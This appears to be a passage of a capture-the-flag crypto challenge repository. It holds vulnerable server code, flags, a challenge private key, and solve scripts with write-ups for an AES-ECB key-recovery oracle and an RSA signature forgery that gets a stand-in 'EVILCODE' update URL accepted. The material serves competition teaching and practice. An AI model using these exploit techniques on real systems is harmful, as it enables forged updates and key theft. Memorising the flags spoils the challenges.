|x_j|^2 \\rfloor, a_j, b_j)$. Note that $\\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \\overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\\lfloor |x_j|^2 \\rfloor$.\n\nImportantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information.\n\n# Solution\n\nLet's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so.\n\n## Analysing Hint 2\n\nThere will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have\n\n$$\n\\begin{aligned}\n    x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\\\\n    &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\\\\n    &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\\\\n\\implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\\\\n    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\\\\n        &\\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\\\\n    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\\\\n    &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n        &\\quad + (b^2 + 2 \\cdot 2^{-l} bd + 2^{-2l} d^2) D \\\\\n    &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n        &\\quad + b^2 D + 2 \\cdot 2^{-l} bd D + 2^{-2l} d^2 D\n\\end{aligned}\n$$\n\nNow, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \\times 1337$ bits.\n\n|Term|Size (in bits)|\n|---|---|\n|$a^2$|$2 \\times 1337$|\n|$2 \\cdot 2^{-l} ac$|$1337$|\n|$2^{-2l}c^2$|$0$|\n|$2abp$|$3 \\times 1337$|\n|$2 \\cdot 2^{-l} adp$|$2 \\times 1337$|\n|$2 \\cdot 2^{-l} bcp$|$2 \\times 1337$|\n|$2 \\cdot 2^{-2l} cdp$|$1337$|\n|$b^2 D$|$4 \\times 1337$|\n|$2 \\cdot 2^{-l} bd D$|$3 \\times 1337$|\n|$2^{-2l} d^2 D$|$2 \\times 1337$|\n\nNow, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \\times 1337$ bits in size, we can more or less throw away any term whose size is $2 \\times 1337$ or less. This leaves us with\n\n$$\n\\begin{aligned}\n    \\frac{|x|^2}{2ab} = \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n        &\\approx p + \\frac{b^2D}{2ab} + \\frac{2^{-l}dD}{a}\n\\end{aligned}\n$$\n\nThis approximation itself is very accurate, and only differs by a few bits due to the $2 \\times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write\n\n$$\n\\begin{aligned}\n    \\frac{y}{2ab} &\\approx p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d \\\\\n                  &= p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d + k\n\\end{aligned} \n$$\n\nwhere $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\\lfloor \\rfloor$, but it should be understood that we are performing integer division.\n\n## Using Hint 2\n\nNow let's bring back the subscripts, noting that we have two instances:\n\n$$\n\\begin{aligned}\n\\begin{cases}\n    \\frac{y_1}{2a_1 b_1} &= p + \\frac{b_1^2 D}{2 a_1 b_1} + \\frac{2^{-l} D}{a_1} d_1 + k_1 \\\\\n    \\frac{y_2}{2a_2 b_2} &= p + \\frac{b_2^2 D}{2 a_2 b_2} + \\frac{2^{-l} D}{a_2} d_2 + k_2 \\\\\n\\end{cases}\n\\end{aligned}\n$$\n\nFinally, let's combine these two equations to eliminate $p$. \n\n$$\n\\frac{y_1 - b_1^2 D}{2 a_1 b_1} - \\frac{2^{-l} D}{a_1} d_1 - k_1 = \\frac{y_2 - b_2^2 D}{2 a_2 b_2}- \\frac{2^{-l} D}{a_2} d_2 - k_2\n$$\n\nJust so it's easier to read, let $t_j = \\frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \\frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have:\n\n$$\nt_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2\n$$\n\nor to put it in a more exciting way:\n\n$$\nf(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0\n$$\n\nNow, $f$ has \"small\" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\\mathbb{Z}/N\\mathbb{Z}$ for some large $N$.\n\n### Lattice Approach\n\nHowever, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix:\n\n$$\n\\begin{bmatrix}\n    s_1 & 1 & 0 \\\\\n    s_2 & 0 & 1 \\\\\n    t_1 - t_2 & 0 & 0\n\\end{bmatrix}\n$$\n\nThe short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector.\n\n## Recovering the Primes\n\nNow that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier:\n\n$$\n\\begin{aligned}\n    \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n    \\implies p &\\approx \\frac{y - (b^2 + 2 \\cdot 2^{-l} bd) D}{2ab}\n\\end{aligned}\n$$\n\nThis approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$.\n\n## Getting the Flag\n\nWe've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \\equiv e^{-1} \\pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result.\n"
  },
  {
    "path": "crypto/aes-ecb/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nRUN pip install pycryptodome\n\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/key.txt /home/ctf/chal/\nCOPY ./challenge/aes-ecb.py /home/ctf/chal/pwn\n"
  },
  {
    "path": "crypto/aes-ecb/README.md",
    "content": "# Easily Can Break\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** 2keebs\n\nAES encryption challenge.\n\n**Attached files:**\n- ./challenge/aes-ecb.py (sha256: a6cfc25dc350577e0b0527575340f868042d8c15e8bb1067a707c4140ce1dc87)\n\n"
  },
  {
    "path": "crypto/aes-ecb/challenge/aes-ecb.py",
    "content": "#!/usr/bin/python3\nimport sys\nimport os\nfrom Crypto.Cipher import AES\nfrom base64 import b64encode\n\nbs = 16 # blocksize\nflag = open('flag.txt', 'rb').read().strip()\nkey = open('key.txt', 'r').read().strip().encode() # my usual password\n\ndef enc(pt):\n    cipher = AES.new(key, AES.MODE_ECB)\n    ct = cipher.encrypt(pad(pt+key))\n    res = b64encode(ct).decode('utf-8')\n    return res\n\ndef pad(pt):\n    while len(pt) % bs:\n        pt += b'0'\n    return (pt)\n\ndef main():\n    print('AES-128')\n    while(1):\n        msg = input('Enter plaintext:\\n').strip()\n        pt = flag + str.encode(msg)\n        ct = enc(pt)\n        print(ct)\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "crypto/aes-ecb/challenge/flag.txt",
    "content": "DUCTF{ECB_M0DE_K3YP4D_D474_L34k}\n"
  },
  {
    "path": "crypto/aes-ecb/challenge/key.txt",
    "content": "!_SECRETSOURCE_!"
  },
  {
    "path": "crypto/aes-ecb/challenge.yml",
    "content": "version: \"0.1\"\nid: aes-ecb\nname: Break Me!\ncategory: crypto\ndescription: |\n  AES encryption challenge.\n\n  Author: 2keebs\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/aes-ecb.py\n\nflags:\n  - DUCTF{ECB_M0DE_K3YP4D_D474_L34k}\n"
  },
  {
    "path": "crypto/aes-ecb/solve/requirements.txt",
    "content": "pwntools == 4.3.1\npycryptodomex == 3.9.7\n"
  },
  {
    "path": "crypto/aes-ecb/solve/solution.py",
    "content": "#!/usr/bin/python3\n\nfrom Crypto.Cipher import AES\nfrom pwn import *\nfrom base64 import b64decode\n\nif len(sys.argv) != 3:\n    print(\"usage: ./solution.py IP PORT\")\n    exit()\n\ndef get_block(s,n):\n    start = 16 * (n-1)\n    end = start + 16\n    r = b.decode(\"utf-8\")\n    return b64decode(r)[start:end]\n\n# this will grow as each byte of the key is revealed\nkey = b\"\"\n\n\ns = remote(sys.argv[1], sys.argv[2])\ns.recvline()\n\n# each byte position in the block (16)\nfor i in range(16, 0, -1):\n    partial = b\"A\"*(i-1)\n    s.recvline()\n    s.sendline(partial)\n    b = s.recvline()\n    target = get_block(b, 3)\n\n    # each possible ascii byte value for that position\n    for j in range(33, 127):\n        k = bytes([j])\n        s.recvline()\n        s.sendline(partial + key + k)\n        b = s.recvline()\n        res = get_block(b, 3)\n\n        # compare with padded output\n        if res == target:\n            key += k\n            break\n\nprint(\"found key:\", key)\ncipher = AES.new(key, AES.MODE_ECB)\ns.sendline()\ns.recvline()\nb = s.recvline()\nct = get_block(b,1) + get_block(b,2)\nflag = cipher.decrypt(ct)\nprint(flag.decode(\"utf-8\"))\ns.close()\n"
  },
  {
    "path": "crypto/aes-ecb/solve/writeup.md",
    "content": "# Easily Can Break\n\n## Discovering the Vulnerability\n\nThe included server code shows `AES-128-ECB` encryption oracle using the encryption key as padding.\n\n```python\n    key = open('key.txt', 'r').read().strip().encode() # my usual password\n\n    ...\n\n    cipher = AES.new(key, AES.MODE_ECB)\n    ct = cipher.encrypt(pad(pt+key))\n```\n\nSince the key is used for padding and ECB mode creates identical ciphertext for repeated (plaintext, key) pairs, recovery of the key is possible.\n\n## Developing the exploit\n\nConnecting to the server returns the encrypted plaintext in base64. This comprises of `flag + input + key + pad`. Confirming with an empty input:\n```python\nEnter plaintext:\nhHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV\n```\nChecking the length of the ciphertext shows it is three blocks:\n```bash\necho 'hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV' | base64 -d | xxd\n00000000: 8470 d4bf c00c 8f4c 7ce3 1bf9 0cb0 1f9d  .p.....L|.......\n00000010: 590c b62a 3145 3f3b 82c9 1224 b3c2 9c80  Y..*1E?;...$....\n00000020: 9bc5 d676 11b0 25bd d9fc 9598 d869 6b95  ...v..%......ik.\n```\n\nAs the server is `AES-128`, the key size must be 16 bytes, which is one block (16 bytes = 128 bits). This is guaranteed to be (at least partially) in the last block of the ciphertext. This reveals that the length of the flag is between 17-32 bytes, to produce a ciphertext of 3 blocks.\n\nThe idea is to send a plaintexts of a specific length that will be padded with some bytes of the key, which we can then determine the value of by comparing ciphertexts. \n\nThis is best explained with an example for the first byte of the key:\n```\nStep 1: input 15 bytes of plaintext, e.g. 15*\"A\".\nThe ciphertext returned will be Encrypt(flag + 15*\"A\" + key + pad)\nThe third block of the ciphertext will then be Encrypt(15*\"A\" + key[0])\n\nStep 2: Store the third block of ciphertext as \"target\"\n\nStep 3: input 15*\"A\" + x, where x is a guess of a key byte\n\nStep 4: compare the saved \"target\" with the third block of the ciphertext\nRepeat step 3-4 for all possible values of x.\nWhen they match, the first byte of the key has been successfully guessed\n\nRepeat step 1, decrementing the number of \"A\"s to reveal each subsequent byte of the key\n```\n\nOnce the key has been recovered, the ciphertext can be decrypted to reveal the flag.\n\n## Execution: recovering the flag\n\nFinding the key. Since the source file says the key is the password, the characters must be printable. This narrows the keyspace to ASCII:\n```python\n# each byte position in the block (16)\nfor i in range(16, 0, -1):\n    partial = b\"A\"*(i-1)\n    s.recvline()\n    s.sendline(partial)\n    b = s.recvline()\n    target = get_block(b, 3)\n\n    # each possible ascii byte value for that position\n    for j in range(33, 127):\n        k = bytes([j])\n        s.recvline()\n        s.sendline(partial + key + k)\n        b = s.recvline()\n        res = get_block(b, 3)\n\n        # compare with padded output\n        if res == target:\n            key += k\n            break\n```\n\nNow the key has been discovered, decrypt the ciphertext:\n\n```\nct = b64decode(\"hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV\")\ncipher = AES.new(key, AES.MODE_ECB)\nflag = cipher.decrypt(ct)\nflag{ECB_M0DE_K3YP4D_D474_L34k5}\n```\nSolved.\n\n"
  },
  {
    "path": "crypto/otwhat-1/Dockerfile",
    "content": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nENV LISTEN_PORT 1337\n\nEXPOSE 1337\n\nRUN pip3 install pycryptodome\n\nCOPY challenge/app/main.py /app\nCOPY challenge/app/rsa.key /app\n"
  },
  {
    "path": "crypto/otwhat-1/README.md",
    "content": "# OTWhat 1\n\n**Category:** Crypto\n\n**Difficulty:** Easy\n\n**Author:** nullableVoid\\*#7225\n\nWe found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware?\n"
  },
  {
    "path": "crypto/otwhat-1/challenge/app/main.py",
    "content": "from flask import Flask, request, redirect, url_for\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Hash import SHA3_512\nfrom Crypto.Signature import pkcs1_15\nfrom base64 import b64decode, b64encode\napp = Flask(__name__)\n\nwith open(\"rsa.key\") as f:\n    key = RSA.import_key(f.read())\n\nexample_url = \"https://GOODCODE/\"\nexample_sig = b64encode(pkcs1_15.new(key).sign(SHA3_512.new(example_url.encode()))).decode()\n\n\ndef strcmp(s1: bytes, s2: bytes) -> int:\n    for a, b in zip(s1 + b'\\0', s2 + b'\\0'):\n        if a == 0 or a != b:\n            break\n    return a - b\n\n\n@app.route(\"/update.cgi\", methods=['GET', 'POST'])\ndef update():\n    output = (\n       f'<form action=\"{url_for(\"update\")}\" method=\"post\">\\n'\n        '    <label for=\"url\">URL: </label>\\n'\n       f'    <input type=\"text\" name=\"url\" id=\"url\" value=\"{example_url}\" required>\\n'\n        '    <label for=\"signature\">Signature (Base64): </label>\\n'\n       f'    <input type=\"text\" name=\"signature\" id=\"signature\" value=\"{example_sig}\" required>\\n'\n        '    <input type=\"submit\" value=\"Update\">'\n        '</form>\\n'\n        '<br>\\n'\n    )\n    if request.method == \"POST\":\n        result = None\n\n        url = request.form.get('url')\n        hash = SHA3_512.new(url.encode('latin1')).digest()\n        try:\n            signature = b64decode(request.form.get('signature'))\n        except:\n            output += \"Error: Signature parsing error.<br>\\n\"\n        else:\n            if len(signature) != 512:\n                output += \"Error: Incorrect signature length (expected 512 bytes).<br>\\n\"\n            else:\n                try:\n                    signature = int.from_bytes(signature, \"big\")\n                    if signature <= 1:\n                        output += \"Error: Invalid signature<br>\\n\"\n                    else:\n                        decrypted_signature = pow(signature, key.e, key.n).to_bytes(key.size_in_bytes(), \"big\")\n                        result = strcmp(hash, decrypted_signature[-64:])\n                except Exception as e:\n                    print(e)\n                    output += \"Error<br>\\n\"\n\n                if result == 0:\n                    if url.startswith(\"https://GOODCODE/\"):\n                        output += \"Update successful<br>\\n\"\n                    elif url.startswith(\"https://EVILCODE/\"):\n                        output += \"Update successful<br>\\n\"\n                        output += \"<pre>RCE POPPED! HACK THE PLANET!! DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}</pre><br>\\n\"\n                    else:\n                        output += \"Update failed<br>\\n\"\n                else:\n                    output += \"Error: Invalid signature<br>\\n\"\n\n    output += (\n        '<!-- DEBUG\\n'\n        'OEM Key: \\n' +\n       f'{key.public_key().export_key().decode()}\\n'\n    )\n    if request.method == \"POST\" and result is not None:\n        output += f'\\nupdate.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = {result}\\n'\n    output += '-->'\n    return output\n\n\n@app.route(\"/\")\ndef root():\n    return redirect(url_for('update'))\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=1337)\n"
  },
  {
    "path": "crypto/otwhat-1/challenge/app/rsa.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "crypto/otwhat-1/challenge.yml",
    "content": "version: \"0.1\"\nid: otwhat-1\nname: OTWhat 1\ncategory: crypto\ndescription: |\n  We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware?\n\n  Author: nullableVoid*#7225 \n\nconnection_info: ${url}\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}\n"
  },
  {
    "path": "crypto/otwhat-1/solve/solve.py",
    "content": "import sys\nimport requests\nimport re\nimport random\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Hash import SHA3_512\nfrom base64 import b64encode\n\nkey = RSA.import_key(re.search(r'-----BEGIN PUBLIC KEY-----(.*)-----END PUBLIC KEY-----', requests.get(f\"https://{sys.argv[1]}/update.cgi\").text, flags=re.S)[0])\n\nhash_found = False\n\nurl = b\"\"\n\nwhile not hash_found:\n    padding = random.randbytes(2)\n    url = b\"https://EVILCODE/\" + padding\n    digest = SHA3_512.new(url).digest()\n    hash_found = digest[0] == 0\n\nprint(url)\n\nforged_signature = random.randbytes(512)\nwhile pow(int.from_bytes(forged_signature, \"big\"), key.e, key.n).to_bytes(key.size_in_bytes(), \"big\")[-64] != 0:\n    forged_signature = random.randbytes(512)\n\nprint(b64encode(forged_signature))\n\nprint(requests.post(f\"https://{sys.argv[1]}/update.cgi\", data={\"url\": url.decode('latin1'), \"signature\": b64encode(forged_signature).decode()}).text)\n"
  },
  {
    "path": "crypto/otwhat-1/solve/writeup.md",
    "content": "As the flag shows, this is a known signing failure of early versions of the Wii software.\n\nThe first mistake is the use of `strcmp`, as this C function considers strings, it terminates at a null byte as C strings are null-terminated.\nThe attack exploits this by having the actual hash and the hash from the signature start with a null byte, such that according to `strcmp`, both \"strings\" are zero-length, and are hence equivalent.\n\n```\nwhile not hash_found:\n    padding = randbytes(2)\n    url = \"https://EVILCODE/\" + padding\n    digest = SHA3_512(url)\n    hash_found = digest[0] == 0\n```\n\nThe player is expected to derive the hash function by analysing the sample signature provided by the web app; the public key is in the HTML source, and decrypted signature carries padding, and then a DER-encoded hash indicated to be SHA3-512.\n\n\nForging a signature would be difficult if not for the second mistake; there are no checks to see if the decrypted signature has valid padding. This is alluded to in the \"debug\" section of the HTML source code:\n```\nupdate.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = ...\n```\nMeaning, we just need a signature, such that s ^ e mod n has the 448th byte as zero.\n```\nforged_signature = random.randbytes(256)\nwhile pow(int.from_bytes(forged_signature, \"big\"), key.e, key.n).to_bytes(key.size_in_bytes(), \"big\")[-64] != 0:\n    forged_signature = random.randbytes(256)\n```\n"
  },
  {
    "path": "crypto/otwhat-2/Dockerfile",
    "content": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nENV LISTEN_PORT 1337\n\nEXPOSE 1337\n\nRUN pip3 install pycryptodome\n\nCOPY challenge/app/main.py /app\nCOPY challenge/app/secp256r1.key /app\nCOPY challenge/app/update.log /app\n"
  },
  {
    "path": "crypto/otwhat-2/README.md",
    "content": "# OTWhat 2\n\n**Category:** Crypto\n\n**Difficulty:** Medium\n\n**Author:** nullableVoid\\*#7225\n\n\"We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response.\"\n"
  },
  {
    "path": "crypto/otwhat-2/challenge/app/main.py",
    "content": "from flask import Flask, request, redirect, url_for\nfrom Crypto.PublicKey import ECC\nfrom Crypto.Signature import DSS\nfrom Crypto.Hash import SHA3_512\nfrom base64 import b64decode\napp = Flask(__name__)\n\nwith open(\"secp256r1.key\") as f:\n    key = ECC.import_key(f.read())\n    verifier = DSS.new(key, 'fips-186-3', 'der')\n\nlog = []\nwith open(\"update.log\") as f:\n    for event in f:\n        log.append(event.split(\" \"))\n\n@app.route(\"/update.cgi\", methods=['GET', 'POST'])\ndef update():\n    output = (\n        \"<style>\"\n        \"table, th, td {\"\n        \"    border: 1px solid black;\"\n        \"    border-collapse: collapse;\"\n        \"}\"\n        \"</style>\"\n    )\n    output += (\n       f'<form action=\"{url_for(\"update\")}\" method=\"post\">\\n'\n        '    <label for=\"url\">URL: </label>\\n'\n       f'    <input type=\"text\" name=\"url\" id=\"url\" required>\\n'\n        '    <label for=\"signature\">Signature (Base64): </label>\\n'\n       f'    <input type=\"text\" name=\"signature\" id=\"signature\" required>\\n'\n        '    <input type=\"submit\" value=\"Update\">'\n        '</form>\\n'\n        '<br>\\n'\n    )\n\n    if request.method == \"POST\":\n        url = request.form.get('url')\n        hash = SHA3_512.new(url.encode('latin1'))\n        signature = request.form.get('signature')\n        try:\n            verifier.verify(hash, b64decode(signature))\n            if url.startswith(\"https://GOODCODE/\"):\n                output += \"Update successful<br>\\n\"\n            elif url.startswith(\"https://EVILCODE/\"):\n                output += \"Update successful<br>\\n\"\n                output += \"<pre>RCE POPPED! You have earned a trophy: Public Private Keys\\nDUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}</pre><br>\\n\"\n            else:\n                output += \"Update failed<br>\\n\"\n        except ValueError as e:\n            print(e)\n            output += \"Invalid signature<br>\\n\"\n\n    output += \"Update audit log:<br>\\n\"\n    output += (\n        '<table>\\n'\n        '    <tr>'\n        '        <th>Update URL</th>'\n        '        <th>ECDSA signature</th>'\n        '    </tr>'\n    )\n    for event in log:\n        output += \"    <tr>\\n\"\n        for column in event:\n            output +=  \"    <td>\\n\"\n            output += f\"        {column}\\n\"\n            output +=  \"    </td>\\n\"\n        output += \"    </tr>\\n\"\n    output += \"</table>\\n\"\n\n    output += '<!-- DEBUG\\n'\n    if request.method == \"POST\":\n        output += \"URL hash: \" + SHA3_512.new(url.encode('latin1')).hexdigest() + \"\\n\"\n    output += '-->'\n    return 